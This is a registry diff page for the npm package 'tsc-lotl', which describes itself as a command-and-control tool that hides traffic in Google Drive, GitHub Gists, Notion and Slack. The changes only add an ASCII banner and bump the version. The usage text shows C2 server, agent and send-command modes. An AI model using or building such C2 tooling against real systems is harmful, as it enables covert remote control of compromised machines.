tsc-lotl 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/bin/tsc-lotl.js +20 -2
  2. package/package.json +1 -1
package/bin/tsc-lotl.js CHANGED
@@ -8,9 +8,24 @@ const LotlC2 = require('../src/lotl-c2');
8
8
  const argv = minimist(process.argv.slice(2));
9
9
  const cmd = argv._[0];
10
10
 
11
+ function showBanner() {
12
+ console.log('');
13
+ console.log(' ████████╗███████╗ ██████╗ ██╗ ██████╗ ████████╗██╗');
14
+ console.log(' ╚══██╔══╝██╔════╝██╔════╝ ██║ ██╔═══██╗╚══██╔══╝██║');
15
+ console.log(' ██║ █████╗ ██║ ██║ ██║ ██║ ██║ ██║');
16
+ console.log(' ██║ ██╔══╝ ██║ ██║ ██║ ██║ ██║ ██║');
17
+ console.log(' ██║ ███████╗╚██████╗ ███████╗╚██████╔╝ ██║ ██║');
18
+ console.log(' ╚═╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝');
19
+ console.log(' ┌─────────────────────────────────────────────────────────────────┐');
20
+ console.log(' │ Living-off-the-Land C2 — GDrive · GitHub · Notion · Slack │');
21
+ console.log(' │ tsc-lotl v1.0.1 — github.com/SURUJ404/Zero-proof │');
22
+ console.log(' └─────────────────────────────────────────────────────────────────┘');
23
+ console.log('');
24
+ }
25
+
11
26
  function showHelp() {
12
- console.log(`
13
- tsc-lotl — Living-off-the-Land C2 Tool v1.0.0
27
+ showBanner();
28
+ console.log(`tsc-lotl — Living-off-the-Land C2 Tool v1.0.1
14
29
 
15
30
  Usage:
16
31
  tsc-lotl server --config <path> Start C2 server listening on all channels
@@ -76,6 +91,7 @@ async function listChannels(configPath) {
76
91
  }
77
92
 
78
93
  async function runServer(configPath) {
94
+ showBanner();
79
95
  const c2 = new LotlC2(configPath);
80
96
  console.log('[tsc-lotl] C2 Server started');
81
97
  console.log(`[tsc-lotl] Channels: ${c2.channelPriority.filter(ch => c2.channels[ch]).join(', ')}`);
@@ -109,6 +125,7 @@ async function runServer(configPath) {
109
125
  }
110
126
 
111
127
  async function runAgent(configPath, agentId) {
128
+ showBanner();
112
129
  const c2 = new LotlC2(configPath);
113
130
  console.log(`[tsc-lotl] Agent "${agentId}" started`);
114
131
  console.log('[tsc-lotl] Polling all channels for commands...');
@@ -159,6 +176,7 @@ function executeCommand(cmd) {
159
176
  }
160
177
 
161
178
  async function sendCommand(configPath, channel, agentId, command) {
179
+ showBanner();
162
180
  const c2 = new LotlC2(configPath);
163
181
  try {
164
182
  const result = await c2.sendCommand(channel, agentId, command);
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "tsc-lotl",
3
- "version": "1.0.0",
3
+ "version": "1.0.1",
4
4
  "description": "Living-off-the-Land C2 — Google Drive, GitHub Gists, Notion, Slack",
5
5
  "main": "src/lotl-c2.js",
6
6
  "bin": {